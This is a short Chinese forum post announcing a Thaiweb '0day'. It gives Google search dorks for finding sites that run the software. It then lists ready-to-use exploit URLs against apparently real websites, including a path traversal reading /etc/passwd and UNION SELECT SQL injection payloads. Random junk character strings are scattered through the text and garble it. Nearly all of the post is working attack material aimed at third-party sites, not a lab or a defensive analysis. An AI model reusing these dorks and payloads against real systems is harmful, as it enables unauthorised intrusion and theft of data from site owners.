Thaiweb远程文件sql注入漏洞0day

admin

Google之:
2 k& [' L- N7 z/ \
intext:powered by Thaiweb
: F9 ]/ f0 J8 _& o$ _
inurl:index.php?page=board.php

+ D- L# [2 F* C
/ [* }1 N  _% v, M; ~
* D5 Y. l6 S' ?* N* d5 \5 `! L; B利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd

, H4 s3 m* z* a" j3 C7 W! X* y

9 U. O$ Z; t) I8 f8 E利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'
0 I1 D* r8 c, x

- X; d0 j3 j; S
http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
9 g. N$ ^: S$ o
8 x' S% u9 z  Z% y% ?# Lhttp://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
& C" X0 r0 d8 O
; ?& O, |  o; v9 j- q- x* S% Ohttp://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
' E0 E2 `% c4 R- d' u' y& x/ B: A